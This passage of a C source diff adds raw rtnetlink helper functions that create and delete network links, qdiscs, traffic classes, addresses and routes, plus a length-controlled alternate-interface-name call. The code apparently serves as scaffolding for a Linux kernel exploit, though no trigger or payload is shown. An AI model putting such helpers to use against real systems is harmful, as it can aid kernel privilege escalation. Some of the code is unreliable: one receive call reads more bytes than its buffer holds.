tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_getlink(): get link information + * @sock: socket bound to the route table netlink + * @link_name: name of the link (eth0, enp0s33, lo, tunl0, etc) +*/ +int rt_getlink(int sock, char *link_name) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + char buf_recv[BUF_SIZE] = {0}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_getlink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_GETLINK; // rtnl_getlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + + /* prepare associated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + tb = set_str_attr(tb, IFLA_IFNAME, link_name); + set_u32_attr(tb, TCA_CHAIN, 7); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + ret = recvmsg(sock, &msg, 0); + if (ret == -1) + errout("recvmsg"); + + ifm = NLMSG_DATA(buf_recv); + + /* Free used structures */ + free(nlh); + + /* Receive message */ + return ifm->ifi_index; +} + +/** + * rt_newlink(): create new link + * @sock: socket bound to the route table netlink + * @link_name: name of the new link, maximum size is 16 +*/ +void rt_newlink(int sock, char *link_name, unsigned int index) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + char kind_ops[] = "bridge\0"; // bridge veth + char buf_recv[BUF_SIZE]; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_newlink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_NEWLINK; // rtnl_newlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + ifm->ifi_index = index; + ifm->ifi_flags = IFF_UP | IFF_MULTICAST | IFF_DEBUG; + + /* prepare asociated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + tb = set_u8_attr(tb, IFLA_OPERSTATE, IF_OPER_UP); + tb = set_str_attr(tb, IFLA_IFNAME, link_name); + tb = set_nested_attr(tb, IFLA_LINKINFO, LINKINFO_SIZE); + tb = set_str_attr(tb, IFLA_INFO_KIND, kind_ops); + tb = set_nested_attr(tb, IFLA_INFO_DATA, LINKDATA_SIZE); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_dellink(): delete the exist link + * @sock: socket bound to the route table netlink + * @link_name: name of the new link, maximum size is 16 +*/ +void rt_dellink(int sock, char *link_name) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + // char link_name[] = "tunl0\0"; // enps03 fails + char buf_recv[BUF_SIZE]; + + // printf("[+] del link: %s\n", link_name); + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_dellink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_DELLINK; // rtnl_dellink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + + /* prepare asociated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + // tb = set_nested_attr(tb, IFLA_LINKINFO, sizeof(struct nlattr)+8); + tb = set_str_attr(tb, IFLA_IFNAME, link_name); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_setlink(): set the exist link + * @sock: socket bound to the route table netlink + * @link_id: identify link +*/ +void rt_setlink(int sock, unsigned int link_id) +{ + + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + char buf_recv[BUF_SIZE]; + char mac_addr[7] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x00}; + + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_setlink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_SETLINK; // rtnl_setlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + ifm->ifi_flags = IFF_MULTICAST | IFF_BROADCAST | IFF_UP; // IFF_MULTICAST IFF_DEBUG IFF_UP + + /* prepare asociated attribute */ + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifinfomsg)); + tb = set_u8_attr(tb, IFLA_OPERSTATE, IF_OPER_UP); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_newqdisc(): create new queue discipline + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @hanle: qdisc handle +*/ +void rt_newqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned int parent, char *kind) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(QDISC_SIZE); + if (!nlh) { + errout("rt_newqdisc malloc"); + } + + memset(nlh, 0, QDISC_SIZE); + nlh->nlmsg_len = QDISC_SIZE; + nlh->nlmsg_type = RTM_NEWQDISC; // tc_modify_qdisc + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_REPLACE; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +void rt_delqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(QDISC_SIZE); + if (!nlh) { + errout("rt_newqdisc malloc"); + } + + memset(nlh, 0, QDISC_SIZE); + nlh->nlmsg_len = QDISC_SIZE; + nlh->nlmsg_type = RTM_DELQDISC; // tc_get_qdisc + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_getclass(): get class + * @sock: socket bound to the route table netlink + * @link_id: identify link +*/ +void rt_getclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) { + errout("[rt_getclass] malloc(ADD_CLASS)"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_GETTCLASS; // tc_ctl_tclass + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_REPLACE; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_addclass(): add class + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @handle: idenfity class +*/ +void rt_addclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + int prio, proto; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) { + errout("rt_addclass malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_NEWTCLASS; // tc_ctl_tclass + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_nested_attr(tca, TCA_OPTIONS, sizeof(struct nlattr)*2 + 2); + tca = set_u32_attr(tca, TCA_DRR_QUANTUM, 1337); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_delclass(): delte existing class + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @handle: idenfity class +*/ +void rt_delclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh = NULL; + struct nlattr *tca; + struct tcmsg *tcm; + + // printf("[+] rt_delclass with link_id: 0x%x\n", link_id); + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_CLASS); + if (!nlh) { + errout("rt_delclass malloc"); + } + + memset(nlh, 0, ADD_CLASS); + nlh->nlmsg_len = ADD_CLASS; + nlh->nlmsg_type = RTM_DELTCLASS; // tc_ctl_tclass + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + tcm = NLMSG_DATA(nlh); + tcm->tcm_ifindex = link_id; // TCM_IFINDEX_MAGIC_BLOCK + tcm->tcm_family = AF_INET; + tcm->tcm_parent = parent; + tcm->tcm_handle = handle; + + /* prepare asociated attribute */ + tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * inet_dumpaddr(): get the information of the link network + * @sock: socket bound to the route table netlink + * @link_id: identify link +*/ +void inet_dumpaddr(int sock, unsigned int link_id) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifaddrmsg *ifm; + int prio, proto, ret, err; + char buf_recv[1024] = {0}; + struct rtattr *attr; + struct ifaddrmsg *addr; + unsigned char bytes[4] = {0}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADDR_SIZE); + if (!nlh) + errout("inet_dumpaddr malloc"); + + memset(nlh, 0, ADDR_SIZE); + nlh->nlmsg_len = ADDR_SIZE; + nlh->nlmsg_type = RTM_GETADDR; // inet_dump_ifaddr + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + + ifm->ifa_index = link_id; // interface + ifm->ifa_family = AF_INET; + + /* prepare asociated attribute */ + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) { + errout("sendmsg"); + } + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + ret = recvmsg(sock, &msg, 0); + if (ret == -1) + errout("recvmsg"); + + int ip = *(int *)(buf_recv+0x1c); + bytes[0] = ip & 0xFF; + bytes[1] = (ip >> 8) & 0xFF; + bytes[2] = (ip >> 16) & 0xFF; + bytes[3] = (ip >> 24) & 0xFF; + + /* Free used structures */ + free(nlh); +} + +/** + * inet_newaddr(): get the information of the link network + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @ip: new ip address in heximal +*/ +void inet_newaddr(int sock, unsigned int link_id, unsigned int ip, unsigned int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifaddrmsg *ifm; + int proto, err; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADDR_SIZE); + if (!nlh) + errout("inet_newaddr malloc"); + + memset(nlh, 0, ADDR_SIZE); + nlh->nlmsg_len = ADDR_SIZE; + nlh->nlmsg_type = RTM_NEWADDR; // inet_rtm_newaddr + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_REPLACE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + + ifm->ifa_family = AF_INET; + ifm->ifa_prefixlen = 24; + ifm->ifa_scope = RT_SCOPE_UNIVERSE; + ifm->ifa_index = link_id; + + /* prepare asociated attribute */ + char label[32]; + snprintf(label, 32, "lo-%i", prio); + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifaddrmsg)); + tb = set_u32_attr(tb, IFA_BROADCAST, 0x6b1019ff+prio-1024); + tb = set_u32_attr(tb, IFA_LOCAL, ip); + tb = set_u32_attr_nat(tb, IFA_RT_PRIORITY, prio); + tb = set_str_attr(tb, IFA_LABEL, label); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) { + errout("sendmsg"); + } + + /* Free used structures */ + free(nlh); +} + +/** + * inet_newaddr(): get the information of the link network + * @sock: socket bound to the route table netlink + * @link_id: identify link + * @ip: new ip address in heximal +*/ +void inet_deladdr(int sock, unsigned int link_id, unsigned int ip, unsigned int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifaddrmsg *ifm; + int proto, err; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADDR_SIZE); + if (!nlh) + errout("inet_deladdr malloc"); + + memset(nlh, 0, ADDR_SIZE); + nlh->nlmsg_len = ADDR_SIZE; + nlh->nlmsg_type = RTM_DELADDR; // inet_rtm_deladdr + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + + ifm->ifa_family = AF_INET; + ifm->ifa_prefixlen = 24; + ifm->ifa_scope = RT_SCOPE_UNIVERSE; + ifm->ifa_index = link_id; + + /* prepare asociated attribute */ + char label[32]; + snprintf(label, 32, "lo-%i", prio); + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifaddrmsg)); + tb = set_u32_attr(tb, IFA_BROADCAST, 0x6b1019ff); + tb = set_u32_attr(tb, IFA_LOCAL, ip); + tb = set_u32_attr_nat(tb, IFA_RT_PRIORITY, prio); + tb = set_str_attr(tb, IFA_LABEL, label); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) { + errout("sendmsg"); + } + + /* Free used structures */ + free(nlh); +} + +/** + * rt_addroute(): add routing table + * @sock: socket bound to the route table netlink +*/ +void rt_addroute(int sock) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *attr; + struct rtmsg *rtm; + struct rtvia *via; + uint32_t via_addr = ADDR_SERVER; + unsigned char addr[] = {}; + int prio, proto, err; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(ADD_ROUTE); + if (!nlh) + errout("rt_addroute malloc"); + + memset(nlh, 0, ADD_ROUTE); + nlh->nlmsg_len = ADD_ROUTE; + nlh->nlmsg_type = RTM_NEWROUTE; // inet_rtm_newroute + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + rtm = NLMSG_DATA(nlh); + rtm->rtm_family = AF_INET; + rtm->rtm_type = RTN_UNICAST; + rtm->rtm_scope = RT_SCOPE_UNIVERSE; + rtm->rtm_protocol = RTPROT_DHCP; + + /* prepare asociated attribute */ + attr = (void *)rtm + NLMSG_ALIGN(sizeof(struct rtmsg)); + via = (struct rtvia*)malloc(sizeof(struct rtvia) + 4); + + via->rtvia_family = AF_INET; + via->rtvia_addr[0] = 0x6b; // 0x6b10190c + via->rtvia_addr[1] = 0x10; + via->rtvia_addr[2] = 0x19; + via->rtvia_addr[3] = 0x02; + attr = set_binary_attr(attr, RTA_VIA, (uint8_t *)via, 6); + attr = (void *)via + NLMSG_ALIGN(6); + attr = set_u32_attr(attr, RTA_GATEWAY, ADDR_GW); + attr = set_u32_attr(attr, RTA_DST, ADDR_SERVER); + + + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + err = sendmsg(sock, &msg, 0); + if (!err) { + errout("sendmsg"); + } + + /* Free used structures */ + free(nlh); +} + +/** + * rt_addaltname() +*/ + +#ifndef RTM_NEWLINKPROP +#define RTM_NEWLINKPROP 108 +#endif +#define IFLA_PROP_LIST (52|NLA_F_NESTED) +#define IFLA_ALT_IFNAME 53 +// void rt_altifname(int sock, unsigned int link_id, char *name) +// { +// struct msghdr msg; +// struct sockaddr_nl dest_snl; +// struct iovec iov[3]; +// struct nlmsghdr *nlh; +// struct nlattr *tb; +// struct ifinfomsg *ifm; + +// /* Destination preparation */ +// memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); +// dest_snl.nl_family = AF_NETLINK; +// memset(&msg, 0, sizeof(msg)); + +// /* route table netlink table message preparation */ +// nlh = (struct nlmsghdr *)malloc(LINK_SIZE); +// if (!nlh) +// errout("rt_newlink malloc"); + +// memset(nlh, 0, LINK_SIZE); +// nlh->nlmsg_len = LINK_SIZE; +// nlh->nlmsg_type = RTM_NEWLINKPROP; // rtnl_newlinkprop +// nlh->nlmsg_pid = getpid(); +// nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; +// nlh->nlmsg_seq = 0; + +// /* route table data */ +// ifm = NLMSG_DATA(nlh); +// ifm->ifi_family = AF_INET; +// ifm->ifi_index = link_id; +// ifm->ifi_flags = IFF_UP | IFF_MULTICAST | IFF_DEBUG; + +// /* prepare asociated attribute */ +// tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); +// tb = set_nested_attr(tb, IFLA_PROP_LIST, IFLA_PROP_LIST_SIZE); +// tb = set_str_attr(tb, IFLA_ALT_IFNAME, name); + +// /* IOV preparation */ +// memset(iov, 0, sizeof(struct iovec) * 3); +// iov[0].iov_base = (void *)nlh; +// iov[0].iov_len = nlh->nlmsg_len; + +// /* Message header preparation */ +// msg.msg_name = (void *)&dest_snl; +// msg.msg_namelen = sizeof(struct sockaddr_nl); +// msg.msg_iov = iov; +// msg.msg_iovlen = 1; + +// sendmsg(sock, &msg, 0); + +// /* Free used structures */ +// free(nlh); +// } + +void rt_altifname(int sock, unsigned int link_id, char *name, int len) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + // char kind_ops[] = "bridge\0"; // bridge veth + // char buf_recv[BUF_SIZE]; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_PROP_SIZE*10); + if (!nlh) + errout("rt_newlink malloc"); + + memset(nlh, 0, LINK_PROP_SIZE*10); + nlh->nlmsg_len = LINK_PROP_SIZE*10-216; + nlh->nlmsg_type = RTM_NEWLINKPROP; // rtnl_newlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + ifm->ifi_flags = IFF_UP | IFF_MULTICAST | IFF_DEBUG; + + /* prepare asociated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + // // tb = set_u8_attr(tb, IFLA_OPERSTATE, IF_OPER_UP); + // tb = set_str_attr(tb, IFLA_IFNAME, "lo"); + // tb = set_nested_attr(tb, IFLA_LINKINFO, LINKINFO_SIZE); + // tb = set_str_attr(tb, IFLA_INFO_KIND, kind_ops); + // tb = set_nested_attr(tb, IFLA_INFO_DATA, LINKDATA_SIZE); + tb = set_nested_attr(tb, IFLA_PROP_LIST, IFLA_PROP_LIST_SIZE); + tb = set_strn_attr(tb, IFLA_ALT_IFNAME, name, len); 